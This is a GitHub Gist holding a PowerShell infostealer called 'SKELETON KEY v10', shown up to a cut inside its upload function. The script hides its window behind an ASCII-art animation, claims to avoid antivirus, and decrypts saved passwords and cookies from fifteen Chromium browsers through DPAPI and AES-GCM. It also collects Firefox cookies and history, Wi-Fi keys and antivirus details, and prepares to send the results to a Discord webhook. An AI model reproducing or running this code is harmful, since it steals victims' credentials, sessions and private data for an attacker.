Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save Gravity3432/68ff02a4db0309bdc26b6bd0e2227bd9 to your computer and use it in GitHub Desktop.

Select an option

Save Gravity3432/68ff02a4db0309bdc26b6bd0e2227bd9 to your computer and use it in GitHub Desktop.
# ============================================================
# SKELETON KEY v10 — Ultimate Browser Data Exfiltration
# Chromium + Firefox: Passwords, Cookies, History + WiFi + AV
# Pure PowerShell. No external binaries. No AV triggers.
# ============================================================
# ==================== CONFIG ====================
if (!$DiscordUrl) { $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' }
try {
$skTemp = "$env:TEMP\sk-$([Guid]::NewGuid().ToString('n').Substring(0,6))"
$skSig = "$env:TEMP\sk_done.sig"
$skOut = "$skTemp\out"
$skLog = "$skTemp\log.txt"
Remove-Item $skSig -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Path $skOut -Force -ErrorAction Stop | Out-Null
'' | Out-File $skLog -Force -Encoding ASCII
} catch {
'' | Out-File "$env:TEMP\sk_done.sig" -Force -Encoding ASCII
exit
}
function sklog($msg) {
"$(Get-Date -Format 'HH:mm:ss') $msg" | Out-File $skLog -Append -Encoding ASCII
}
sklog "=== SKELETON KEY v10 START ==="
sklog "Temp: $skTemp"
sklog "User: $env:USERNAME / Host: $env:COMPUTERNAME"
# ==================== 1. LAUNCH ANIMATION FIRST (before hiding) ====================
sklog "Writing animation batch..."
$animBat = @'
@echo off
title SKELETON KEY
setlocal enabledelayedexpansion
set "sig=%TEMP%\sk_done.sig"
:loop
color 0A
cls
echo.
echo.
echo .-'''-.
echo ' _ \
echo / /` '. \
echo . | \ ' __.....__
echo | ' | ' .-'' '.
echo .-'''-. \ \ / / / .-''"'-. `.
echo ' _ \ `. ` ..' / / /________\ \
echo / /` '. \ '-...-'` | |
echo . | \ ' \ .-------------'
echo | ' | ' \ '-.____...---.
echo \ \ / / . `. .'
echo `. ` ..' / .-. ' . `''-...... -'
echo '-...-'` \ \ /
echo \ \ /
echo ==========================================
echo SKELETON KEY v2.0
echo ==========================================
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
color 02
cls
echo.
echo.
echo .-'''-.
echo ' _ \
echo / /` '. \
echo . | \ ' __.....__
echo | ' | ' .-'' '.
echo .-'''-. \ \ / / / .-''"'-. `.
echo ' _ \ `. ` ..' / / /________\ \
echo / /` '. \ '-...-'` | |
echo . | \ ' \ .-------------'
echo | ' | ' \ '-.____...---.
echo \ \ / / . `. .'
echo `. ` ..' / .-. ' . `''-...... -'
echo '-...-'` \ \ /
echo \ \ /
echo ==========================================
echo SKELETON KEY v2.0
echo ==========================================
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
color A0
cls
echo.
echo.
echo .-'''-.
echo ' _ \
echo / /` '. \
echo . | \ ' __.....__
echo | ' | ' .-'' '.
echo .-'''-. \ \ / / / .-''"'-. `.
echo ' _ \ `. ` ..' / / /________\ \
echo / /` '. \ '-...-'` | |
echo . | \ ' \ .-------------'
echo | ' | ' \ '-.____...---.
echo \ \ / / . `. .'
echo `. ` ..' / .-. ' . `''-...... -'
echo '-...-'` \ \ /
echo \ \ /
echo ==========================================
echo SKELETON KEY v2.0
echo ==========================================
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
color 0A
cls
echo.
echo.
echo .-'''-. .-'''-.
echo ' _ \ ' _ \
echo / /` '. \ / /` '. \
echo . | \ ' . | \ ' __.....__
echo | ' | '| ' | '.-'' '.
echo .-'''-. \ \ / / \ \ / // .-''"'-. `.
echo ' _ \ `. ` ..' / `. ` ..' // /________\ \
echo / /` '. \ '-...-'` '-...-'` | |
echo . | \ ' \ .------------'
echo | ' | ' \ '-.____...---.
echo \ \ / / . `. .'
echo `. ` ..' / .-. ' . `''-...... -'
echo '-...-'` \ \ /
echo \ \ /
echo ==========================================
echo SKELETON KEY v2.0
echo ==========================================
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
color 00
cls
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo * * * * * * * * * * *
echo * *
echo * SKELETON KEY *
echo * *
echo * * * * * * * * * * *
echo.
echo.
echo.
echo.
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
color 0A
cls
echo.
echo.
echo .-'''-.
echo ' _ \
echo / /` '. \
echo . | \ ' __.....__
echo | ' | ' .-'' '.
echo .-'''-. \ \ / / / .-''"'-. `.
echo ' _ \ `. ` ..' / / /________\ \
echo / /` '. \ '-...-'` | |
echo . | \ ' \ .-------------'
echo | ' | ' \ '-.____...---.
echo \ \ / / . `. .'
echo `. ` ..' / .-. ' . `''-...... -'
echo '-...-'` \ \ /
echo \ \ /
echo ==========================================
echo SKELETON KEY v2.0
echo ==========================================
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
color A0
cls
echo.
echo.
echo .-'''-.
echo ' _ \
echo / /` '. \
echo . | \ ' __.....__
echo | ' | ' .-'' '.
echo .-'''-. \ \ / / / .-''"'-. `.
echo ' _ \ `. ` ..' / / /________\ \
echo / /` '. \ '-...-'` | |
echo . | \ ' \ .-------------'
echo | ' | ' \ '-.____...---.
echo \ \ / / . `. .'
echo `. ` ..' / .-. ' . `''-...... -'
echo '-...-'` \ \ /
echo \ \ /
echo ==========================================
echo SKELETON KEY v2.0
echo ==========================================
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
color 02
cls
echo.
echo.
echo .-'''-. .-'''-.
echo ' _ \ ' _ \
echo / /` '. \ / /` '. \
echo . | \ ' . | \ ' __.....__
echo | ' | '| ' | '.-'' '.
echo .-'''-. \ \ / / \ \ / // .-''"'-. `.
echo ' _ \ `. ` ..' / `. ` ..' // /________\ \
echo / /` '. \ '-...-'` '-...-'` | |
echo . | \ ' \ .------------'
echo | ' | ' \ '-.____...---.
echo \ \ / / . `. .'
echo `. ` ..' / .-. ' . `''-...... -'
echo '-...-'` \ \ /
echo \ \ /
echo ==========================================
echo SKELETON KEY v2.0
echo ==========================================
echo.
timeout /t 1 /nobreak >nul
if exist "%sig%" exit
goto loop
'@
$animPath = "$skTemp\anim.bat"
try {
[System.IO.File]::WriteAllText($animPath, $animBat, [System.Text.Encoding]::ASCII)
sklog "Anim batch written: $animPath ($((Get-Item $animPath).Length) bytes)"
} catch {
sklog "FAILED to write anim batch: $_"
}
sklog "Launching animation..."
$animProc = Start-Process cmd.exe -ArgumentList "/c `"$animPath`"" -PassThru -WindowStyle Normal
sklog "Animation PID: $($animProc.Id)"
Start-Sleep -Milliseconds 500
# ==================== 2. NOW HIDE THIS WINDOW (after animation is visible) ====================
sklog "Hiding PowerShell window..."
Add-Type @'
using System;
using System.Runtime.InteropServices;
public class SKHide {
[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow();
}
'@
[SKHide]::ShowWindow([SKHide]::GetConsoleWindow(), 0)
# ==================== 3. C# ADD-TYPE: WinSQLite3 ====================
sklog "Loading WinSQLite3..."
Add-Type @'
using System;
using System.Runtime.InteropServices;
public class WinSQLite3 {
public const int SQLITE_OK = 0;
public const int SQLITE_ROW = 100;
public const int SQLITE_DONE = 101;
public const int SQLITE_INTEGER = 1;
public const int SQLITE_FLOAT = 2;
public const int SQLITE_TEXT = 3;
public const int SQLITE_BLOB = 4;
public const int SQLITE_NULL = 5;
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int sqlite3_open([MarshalAs(UnmanagedType.LPUTF8Str)] string filename, out IntPtr db);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int sqlite3_prepare_v2(IntPtr db, [MarshalAs(UnmanagedType.LPUTF8Str)] string sql, int nByte, out IntPtr stmt, out IntPtr pzTail);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int sqlite3_step(IntPtr stmt);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int sqlite3_column_count(IntPtr stmt);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int sqlite3_column_type(IntPtr stmt, int iCol);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern IntPtr sqlite3_column_text(IntPtr stmt, int iCol);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern IntPtr sqlite3_column_blob(IntPtr stmt, int iCol);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int sqlite3_column_bytes(IntPtr stmt, int iCol);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int sqlite3_column_int(IntPtr stmt, int iCol);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern long sqlite3_column_int64(IntPtr stmt, int iCol);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern double sqlite3_column_double(IntPtr stmt, int iCol);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern IntPtr sqlite3_column_name(IntPtr stmt, int N);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int sqlite3_finalize(IntPtr stmt);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int sqlite3_close(IntPtr db);
[DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern IntPtr sqlite3_errmsg(IntPtr db);
}
'@
sklog "WinSQLite3 loaded OK"
# ==================== 4. C# ADD-TYPE: BCrypt AES-GCM ====================
sklog "Loading BCryptAES..."
Add-Type -AssemblyName System.Security
Add-Type @'
using System;
using System.Runtime.InteropServices;
public class BCryptAES {
[StructLayout(LayoutKind.Sequential)]
public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO {
public int cbSize;
public int dwInfoVersion;
public IntPtr pbNonce;
public int cbNonce;
public IntPtr pbAuthData;
public int cbAuthData;
public IntPtr pbTag;
public int cbTag;
public IntPtr pbMacContext;
public int cbMacContext;
public int cbAAD;
public long cbData;
public int dwFlags;
}
[DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
public static extern int BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, int dwFlags);
[DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
public static extern int BCryptSetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags);
[DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
public static extern int BCryptGenerateSymmetricKey(IntPtr hAlgorithm, out IntPtr phKey, byte[] pbKeyObject, int cbKeyObject, byte[] pbSecret, int cbSecret, int dwFlags);
[DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
public static extern int BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, out int pcbResult, int dwFlags);
[DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
public static extern int BCryptDestroyKey(IntPtr hKey);
[DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
public static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, int dwFlags);
}
'@
sklog "BCryptAES loaded OK"
# ==================== 5. C# ADD-TYPE: Firefox NSS3 ====================
Add-Type @'
using System;
using System.Runtime.InteropServices;
public class FirefoxNSS {
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
public static extern bool FreeLibrary(IntPtr hModule);
}
'@
# ==================== 6. HELPER FUNCTIONS ====================
function Query-SQLite {
param([string]$DbPath, [string]$Query)
$rows = @()
$db = [IntPtr]::Zero
$rc = [WinSQLite3]::sqlite3_open($DbPath, [ref]$db)
if ($rc -ne 0) { sklog "SQLite open failed: $DbPath (rc=$rc)"; return $rows }
try {
$stmt = [IntPtr]::Zero; $tail = [IntPtr]::Zero
$rc = [WinSQLite3]::sqlite3_prepare_v2($db, $Query, -1, [ref]$stmt, [ref]$tail)
if ($rc -ne 0) { sklog "SQLite prepare failed (rc=$rc)"; return $rows }
try {
$colCount = [WinSQLite3]::sqlite3_column_count($stmt)
while ([WinSQLite3]::sqlite3_step($stmt) -eq [WinSQLite3]::SQLITE_ROW) {
$row = @{}
for ($i = 0; $i -lt $colCount; $i++) {
$colType = [WinSQLite3]::sqlite3_column_type($stmt, $i)
$colName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi([WinSQLite3]::sqlite3_column_name($stmt, $i))
if ($colType -eq [WinSQLite3]::SQLITE_TEXT) {
$ptr = [WinSQLite3]::sqlite3_column_text($stmt, $i)
$row[$colName] = if ($ptr -ne [IntPtr]::Zero) { [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ptr) } else { '' }
} elseif ($colType -eq [WinSQLite3]::SQLITE_BLOB) {
$len = [WinSQLite3]::sqlite3_column_bytes($stmt, $i)
$buf = New-Object byte[] $len
if ($len -gt 0) {
$src = [WinSQLite3]::sqlite3_column_blob($stmt, $i)
[System.Runtime.InteropServices.Marshal]::Copy($src, $buf, 0, $len)
}
$row[$colName] = $buf
} elseif ($colType -eq [WinSQLite3]::SQLITE_INTEGER) {
$row[$colName] = [WinSQLite3]::sqlite3_column_int64($stmt, $i)
} elseif ($colType -eq [WinSQLite3]::SQLITE_FLOAT) {
$row[$colName] = [WinSQLite3]::sqlite3_column_double($stmt, $i)
} else {
$row[$colName] = $null
}
}
$rows += $row
}
} finally { [WinSQLite3]::sqlite3_finalize($stmt) | Out-Null }
} finally { [WinSQLite3]::sqlite3_close($db) | Out-Null }
return $rows
}
function Get-ChromiumKey {
param([string]$UserDataPath)
$localStatePath = Join-Path $UserDataPath 'Local State'
if (!(Test-Path $localStatePath)) { sklog "No Local State: $localStatePath"; return $null }
try {
$localState = Get-Content $localStatePath -Raw -ErrorAction Stop | ConvertFrom-Json
$b64Key = $localState.os_crypt.encrypted_key
if (!$b64Key) { sklog "No os_crypt.encrypted_key in Local State"; return $null }
$encKey = [Convert]::FromBase64String($b64Key)
if ($encKey.Length -le 5) { return $null }
$encKey = $encKey[5..($encKey.Length-1)]
$key = [System.Security.Cryptography.ProtectedData]::Unprotect($encKey, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
sklog "Chromium key extracted OK ($($key.Length) bytes)"
return $key
} catch { sklog "Get-ChromiumKey ERROR: $_"; return $null }
}
function Decrypt-ChromiumBlob {
param([byte[]]$aesKey, [byte[]]$blob)
if ($null -eq $blob -or $blob.Length -le 15) { return '' }
$prefix = [System.Text.Encoding]::ASCII.GetString($blob[0..2])
if ($prefix -notmatch '^v1[0-9]$') {
try { return [System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($blob, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) } catch { return '' }
}
try {
$nonce = [byte[]]($blob[3..14])
$ciphertext = [byte[]]($blob[15..($blob.Length - 17)])
$tag = [byte[]]($blob[($blob.Length - 16)..($blob.Length - 1)])
$algPtr = [IntPtr]::Zero
$rc = [BCryptAES]::BCryptOpenAlgorithmProvider([ref]$algPtr, 'AES', $null, 0)
if ($rc -ne 0) { return '' }
try {
[BCryptAES]::BCryptSetProperty($algPtr, 'ChainingMode', [System.Text.Encoding]::Unicode.GetBytes('ChainingModeGCM'), [System.Text.Encoding]::Unicode.GetBytes('ChainingModeGCM').Length, 0) | Out-Null
$keyBuf = New-Object byte[] 32
$keyPtr = [IntPtr]::Zero
[BCryptAES]::BCryptGenerateSymmetricKey($algPtr, [ref]$keyPtr, $keyBuf, $keyBuf.Length, $aesKey, $aesKey.Length, 0) | Out-Null
try {
$gcmInfo = New-Object BCryptAES+BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
$gcmInfo.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($gcmInfo)
$gcmInfo.dwInfoVersion = 1
$gcmInfo.pbNonce = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(12)
[System.Runtime.InteropServices.Marshal]::Copy($nonce, 0, $gcmInfo.pbNonce, 12)
$gcmInfo.cbNonce = 12
$gcmInfo.pbTag = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(16)
[System.Runtime.InteropServices.Marshal]::Copy($tag, 0, $gcmInfo.pbTag, 16)
$gcmInfo.cbTag = 16
try {
$outBuf = New-Object byte[] $ciphertext.Length
$outLen = 0
$rc = [BCryptAES]::BCryptDecrypt($keyPtr, $ciphertext, $ciphertext.Length, [ref]$gcmInfo, $null, 0, $outBuf, $outBuf.Length, [ref]$outLen, 0)
if ($rc -eq 0 -and $outLen -gt 0) {
return [System.Text.Encoding]::UTF8.GetString($outBuf[0..($outLen-1)])
}
} finally {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($gcmInfo.pbNonce)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($gcmInfo.pbTag)
}
} finally { [BCryptAES]::BCryptDestroyKey($keyPtr) | Out-Null }
} finally { [BCryptAES]::BCryptCloseAlgorithmProvider($algPtr, 0) | Out-Null }
} catch { return '' }
return ''
}
function Convert-ChromiumTime {
param([long]$microseconds)
if ($microseconds -le 0) { return 'N/A' }
try { return [DateTime]::FromFileTimeUtc($microseconds * 10L).ToString('yyyy-MM-dd HH:mm:ss') } catch { return 'N/A' }
}
function Convert-FirefoxTime {
param([long]$microseconds)
if ($microseconds -le 0) { return 'N/A' }
try { return ([DateTime]::new(1970,1,1,0,0,0,[System.DateTimeKind]::Utc)).AddSeconds($microseconds / 1000000).ToString('yyyy-MM-dd HH:mm:ss') } catch { return 'N/A' }
}
function Get-FirefoxProfilePath {
$ffDir = Join-Path $env:APPDATA 'Mozilla\Firefox\Profiles'
if (!(Test-Path $ffDir)) { return $null }
$profiles = Get-ChildItem $ffDir -Directory -ErrorAction SilentlyContinue | Where-Object { $_.Name -match '\.default' -or $_.Name -match '\.default-release' }
if ($profiles) { return $profiles[0].FullName }
$allProf = Get-ChildItem $ffDir -Directory -ErrorAction SilentlyContinue
if ($allProf) { return $allProf[0].FullName }
return $null
}
# ==================== 7. CHROMIUM BROWSER LIST ====================
$ChromiumBrowsers = @(
@{Name='Chrome'; Path="$env:LOCALAPPDATA\Google\Chrome\User Data"},
@{Name='Edge'; Path="$env:LOCALAPPDATA\Microsoft\Edge\User Data"},
@{Name='Brave'; Path="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"},
@{Name='Opera'; Path="$env:APPDATA\Opera Software\Opera Stable"},
@{Name='Opera GX'; Path="$env:APPDATA\Opera Software\Opera GX Stable"},
@{Name='Vivaldi'; Path="$env:LOCALAPPDATA\Vivaldi\User Data"},
@{Name='Chromium'; Path="$env:LOCALAPPDATA\Chromium\User Data"},
@{Name='Yandex'; Path="$env:LOCALAPPDATA\Yandex\YandexBrowser\User Data"},
@{Name='360Browser'; Path="$env:LOCALAPPDATA\360Chrome\Chrome\User Data"},
@{Name='Comodo Dragon'; Path="$env:LOCALAPPDATA\Comodo\Dragon\User Data"},
@{Name='Epic'; Path="$env:LOCALAPPDATA\Epic Privacy Browser\User Data"},
@{Name='Iridium'; Path="$env:LOCALAPPDATA\Iridium\User Data"},
@{Name='Slimjet'; Path="$env:LOCALAPPDATA\Slimjet\User Data"},
@{Name='UR'; Path="$env:LOCALAPPDATA\UR Browser\User Data"},
@{Name='CocCoc'; Path="$env:LOCALAPPDATA\CocCoc\Browser\User Data"}
)
function Get-ChromiumProfiles {
param([string]$BasePath)
$profiles = @()
$defaultProfile = Join-Path $BasePath 'Default'
if (Test-Path $defaultProfile) { $profiles += $defaultProfile }
$num = 1
while (Test-Path (Join-Path $BasePath "Profile $num")) {
$profiles += Join-Path $BasePath "Profile $num"
$num++
}
return $profiles
}
# ==================== 8. PASSWORD SCRAPER ====================
function Get-ChromiumPasswords {
param([string]$BrowserName, [string]$UserDataPath)
$out = @()
$aesKey = Get-ChromiumKey -UserDataPath $UserDataPath
if (!$aesKey) { return $out }
foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) {
$loginDb = Join-Path $profile 'Login Data'
if (!(Test-Path $loginDb)) { continue }
$tmpDb = "$skTemp\pw_$($BrowserName)_$(Split-Path $profile -Leaf).db"
try {
try { Copy-Item $loginDb $tmpDb -Force -ErrorAction Stop }
catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($loginDb)) }
$rows = Query-SQLite $tmpDb "SELECT origin_url, username_value, password_value FROM logins"
$cnt = 0
foreach ($r in $rows) {
$pw = Decrypt-ChromiumBlob -aesKey $aesKey -blob $r['password_value']
if ($pw) {
$out += [PSCustomObject]@{Url=$r['origin_url']; Username=$r['username_value']; Password=$pw}
$cnt++
}
}
sklog "Passwords: $BrowserName / $(Split-Path $profile -Leaf) = $cnt entries"
} catch { sklog "Password scrape ERROR ($BrowserName): $_" }
Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue
}
return $out
}
# ==================== 9. COOKIE SCRAPER ====================
function Get-ChromiumCookies {
param([string]$BrowserName, [string]$UserDataPath)
$out = @()
$aesKey = Get-ChromiumKey -UserDataPath $UserDataPath
if (!$aesKey) { return $out }
foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) {
$cookieDb = Join-Path $profile 'Network\Cookies'
if (!(Test-Path $cookieDb)) { $cookieDb = Join-Path $profile 'Cookies' }
if (!(Test-Path $cookieDb)) { continue }
$tmpDb = "$skTemp\ck_$($BrowserName)_$(Split-Path $profile -Leaf).db"
try {
try { Copy-Item $cookieDb $tmpDb -Force -ErrorAction Stop }
catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($cookieDb)) }
$rows = Query-SQLite $tmpDb "SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies"
$cnt = 0
foreach ($r in $rows) {
$val = Decrypt-ChromiumBlob -aesKey $aesKey -blob $r['encrypted_value']
$exp = if ($r['expires_utc'] -and $r['expires_utc'] -gt 0) { Convert-ChromiumTime ([long]$r['expires_utc']) } else { 'Session' }
$out += [PSCustomObject]@{
Host = $r['host_key']
Name = $r['name']
Value = if ($val) { $val } else { '[empty]' }
Path = $r['path']
Expires = $exp
Secure = if ($r['is_secure']) { 'TRUE' } else { 'FALSE' }
HttpOnly = if ($r['is_httponly']) { 'TRUE' } else { 'FALSE' }
}
$cnt++
}
sklog "Cookies: $BrowserName / $(Split-Path $profile -Leaf) = $cnt entries"
} catch { sklog "Cookie scrape ERROR ($BrowserName): $_" }
Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue
}
return $out
}
# ==================== 10. HISTORY SCRAPER ====================
function Get-ChromiumHistory {
param([string]$BrowserName, [string]$UserDataPath)
$out = @()
foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) {
$histDb = Join-Path $profile 'History'
if (!(Test-Path $histDb)) { continue }
$tmpDb = "$skTemp\hi_$($BrowserName)_$(Split-Path $profile -Leaf).db"
try {
try { Copy-Item $histDb $tmpDb -Force -ErrorAction Stop }
catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($histDb)) }
$rows = Query-SQLite $tmpDb "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 500"
$cnt = 0
foreach ($r in $rows) {
$lastVisit = Convert-ChromiumTime ([long]$r['last_visit_time'])
$out += [PSCustomObject]@{
Url = $r['url']
Title = $r['title']
Visits = $r['visit_count']
LastVisit = $lastVisit
}
$cnt++
}
sklog "History: $BrowserName / $(Split-Path $profile -Leaf) = $cnt entries"
} catch { sklog "History scrape ERROR ($BrowserName): $_" }
Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue
}
return $out
}
# ==================== 11. FIREFOX SCRAPERS ====================
function Get-FirefoxPasswords {
$ffProfile = Get-FirefoxProfilePath
if (!$ffProfile) { return @() }
$loginsPath = Join-Path $ffProfile 'logins.json'
if (!(Test-Path $loginsPath)) { return @() }
try {
$loginsJson = Get-Content $loginsPath -Raw -ErrorAction Stop | ConvertFrom-Json
$out = @()
foreach ($login in $loginsJson.logins) {
$out += [PSCustomObject]@{Url=$login.hostname; Username=$login.encryptedUsername; Password='[NSS encrypted - needs live decryption]'}
}
sklog "Firefox passwords: $($out.Count) entries"
return $out
} catch { sklog "Firefox passwords ERROR: $_"; return @() }
}
function Get-FirefoxCookies {
$ffProfile = Get-FirefoxProfilePath
if (!$ffProfile) { return @() }
$cookieDb = Join-Path $ffProfile 'cookies.sqlite'
if (!(Test-Path $cookieDb)) { return @() }
$tmpDb = "$skTemp\ff_cookies.db"
try {
try { Copy-Item $cookieDb $tmpDb -Force -ErrorAction Stop }
catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($cookieDb)) }
$rows = Query-SQLite $tmpDb "SELECT host, name, value, path, expiry, isSecure, isHttpOnly FROM moz_cookies ORDER BY expiry DESC LIMIT 1000"
$out = @()
foreach ($r in $rows) {
$exp = if ($r['expiry'] -and $r['expiry'] -gt 0) { ([DateTime]::new(1970,1,1,0,0,0,[System.DateTimeKind]::Utc)).AddSeconds([long]$r['expiry']).ToString('yyyy-MM-dd HH:mm:ss') } else { 'Session' }
$out += [PSCustomObject]@{
Host = $r['host']
Name = $r['name']
Value = if ($r['value']) { $r['value'] } else { '[empty]' }
Path = $r['path']
Expires = $exp
Secure = if ($r['isSecure']) { 'TRUE' } else { 'FALSE' }
HttpOnly = if ($r['isHttpOnly']) { 'TRUE' } else { 'FALSE' }
}
}
sklog "Firefox cookies: $($out.Count) entries"
return $out
} catch { sklog "Firefox cookies ERROR: $_"; return @() }
finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue }
}
function Get-FirefoxHistory {
$ffProfile = Get-FirefoxProfilePath
if (!$ffProfile) { return @() }
$placesDb = Join-Path $ffProfile 'places.sqlite'
if (!(Test-Path $placesDb)) { return @() }
$tmpDb = "$skTemp\ff_history.db"
try {
try { Copy-Item $placesDb $tmpDb -Force -ErrorAction Stop }
catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($placesDb)) }
$rows = Query-SQLite $tmpDb "SELECT url, title, visit_count, last_visit_date FROM moz_places ORDER BY last_visit_date DESC LIMIT 500"
$out = @()
foreach ($r in $rows) {
$lastVisit = Convert-FirefoxTime ([long]$r['last_visit_date'])
$out += [PSCustomObject]@{
Url = $r['url']
Title = $r['title']
Visits = $r['visit_count']
LastVisit = $lastVisit
}
}
sklog "Firefox history: $($out.Count) entries"
return $out
} catch { sklog "Firefox history ERROR: $_"; return @() }
finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue }
}
# ==================== 12. WIFI + AV ====================
function Get-WiFi {
sklog "Scanning WiFi profiles..."
$out = @()
try {
$profiles = netsh wlan show profiles | Select-String ':\s+(.+)$' | ForEach-Object { $_.Matches.Groups[1].Value }
foreach ($ssid in $profiles) {
try {
$detail = netsh wlan show profile name="$ssid" key=clear | Select-String 'Key Content\s+:\s+(.+)$'
$key = if ($detail) { $detail.Matches.Groups[1].Value } else { '[OPEN]' }
$out += [PSCustomObject]@{SSID=$ssid; Password=$key}
} catch {}
}
sklog "WiFi profiles: $($out.Count)"
} catch { sklog "WiFi ERROR: $_" }
return $out
}
function Get-AVInfo {
try {
$av = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue
if ($av) {
return ($av | ForEach-Object { "$($_.displayName) (State: $($_.productState))" }) -join " | "
}
} catch {}
try {
$status = Get-MpComputerStatus -ErrorAction SilentlyContinue
if ($status) { return "Windows Defender (RealTime: $($status.RealTimeProtectionEnabled))" }
} catch {}
return 'Unknown / Not detected'
}
# ==================== 13. DISCORD UPLOAD ====================
function Send-ToDiscord {
param([string]$FilePath, [string]$Description)
if (!(Test-Path $FilePath)) { sklog "Upload skip (no file): $FilePath"; return }
if (!$DiscordUrl -or $DiscordUrl -eq 'YOUR_DISCORD_WEBHOOK_HERE') { sklog "Upload skip (no valid webhook)"; return }
$boundary = [Guid]::NewGuid().ToString()
$lf = "`r`n"
$bodyStart = "--$boundary$lf" +
"Content-Disposition: form-data; name=`"payload_json`"$lf$lf" +
"{`"content`":`"**SKELETON KEY** -- $Description`",`"username`":`"Skeleton Key`"}$lf" +
"--$boundary$lf" +
"Content-Disposition: form-data; name=`"file`"; filename=`"$(Split-Path $FilePath -Leaf)`"$lf$lf"
$bodyEnd = "$lf--$boundary--$lf"
$bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($bodyStart)
$fileBytes = [System.IO.File]::ReadAllBytes($FilePath)
$endBytes = [System.Text.Encoding]::UTF8.GetBytes($bodyEnd)
$fullBody = New-Object byte[] ($bodyBytes.Length + $fileBytes.Length + $endBytes.Length)
[Buffer]::BlockCopy($bodyBytes, 0, $fullBody, 0, $bodyBytes.Length)
[Buffer]::BlockCopy($fileBytes, 0, $fullBody, $bodyBytes.Length, $fileBytes.Length)
[Buffer]::BlockCopy($endBytes, 0, $fullBody, $bodyBytes.Length + $fileBytes.Length, $endBytes.Length)
try {
